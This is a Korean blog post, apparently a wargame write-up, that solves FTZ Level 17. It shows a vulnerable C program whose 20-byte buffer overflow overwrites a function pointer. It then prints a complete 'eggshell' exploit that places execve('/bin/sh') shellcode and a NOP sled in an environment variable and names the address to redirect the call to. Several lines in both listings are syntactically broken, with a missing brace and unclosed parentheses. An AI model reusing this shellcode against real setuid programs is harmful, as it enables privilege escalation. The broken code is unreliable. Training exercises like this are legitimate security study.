ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [FTZ Level17 풀이]
    System/FTZ 2018. 2. 16. 20:20

    [Level17 Code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    #include <stdio.h>
     
    void printit() {
      printf("Hello there!\n");
    }
     
    main()
    int crap;
      void (*call)()=printit;
      char buf[20];
      fgets(buf,48,stdin);
      setreuid(3098,3098);
      call();
    }
     
    cs

    Level16과 흡사한 문제지만, 이번에는 쉘을 실행시켜주는 함수가 없다.

    그래서 나는 EGGShell로 환경변수를 등록한 후, 환경변수의 주소를 Call( )에 넘겨주는 식으로 쉘을 땄다.


    [Eggshell Code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    #include <stdlib.h>
    #define DEFAULT_OFFSET 0
    #define DEFAULT_BUFFER_SIZE 512
    #define DEFAULT_EGG_SIZE 2048
    #define NOP 0x90
    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";
     
    unsigned long get_esp(void) {
    __asm__("movl %esp,%eax");
    }
    int main(int argc, char *argv[]) {
            char *buff, *ptr, *egg;
            long *addr_ptr, addr;
            int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
            int i, eggsize=DEFAULT_EGG_SIZE;
            if (argc > 1) bsize   = atoi(argv[1]);
            if (argc > 2) offset  = atoi(argv[2]);
            if (argc > 3) eggsize = atoi(argv[3]);
            if (!(buff = malloc(bsize))) {
            printf("Can't allocate memory.\n");
            exit(0);
            }
            if (!(egg = malloc(eggsize))) {
            printf("Can't allocate memory.\n");
            exit(0);
            }
            addr = get_esp() - offset;
            printf("Using address: 0x%x\n", addr);
            ptr = buff;
            addr_ptr = (long *) ptr;
            for (i = 0; i < bsize; i+=4)
            {
                    if(i == 1040)
                    {
                            *(addr_ptr++= 0x1234567;
                    }
                    else
                            *(addr_ptr++= addr;
    }
            ptr = egg;
            for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
                    *(ptr++= NOP;
            for (i = 0; i < strlen(shellcode); i++)
                    *(ptr++= shellcode[i];
            buff[bsize - 1= '\0';
            egg[eggsize - 1= '\0';
            memcpy(egg,"EGG=",4);
            putenv(egg);
            memcpy(buff,"RET=",4);
            putenv(buff);
            system("/bin/bash");
    }
    cs


    항상 말하지만, 여기서 출력되는 환경변수 주소는 실제 주소와 다르다.

    따로 코드를 짜서, 실제 주소를 알아와야 한다.

    코드는 생략하겠다.


    [EGG Address]

    [0xbffff465]가 실제 환경변수 주소다.

    이 주소를 Call( )에 넘겨주면 환경변수에 저장되어 있는 쉘코드가 실행될 것이다.


    [EGGshell 실행]

    자 보는 것처럼 쉘이 정상적으로 실행되었다.

    다음 Level18문제로 넘어가도록 하자


    'System > FTZ' 카테고리의 다른 글

    [FTZ Level19 풀이]  (0) 2018.02.17
    [FTZ Level18 풀이]  (1) 2018.02.17
    [FTZ Level16 풀이]  (0) 2018.02.16
    [FTZ Level15 풀이]  (0) 2018.02.16
    [FTZ Level14 풀이]  (0) 2018.02.16

    댓글

Designed by Tistory.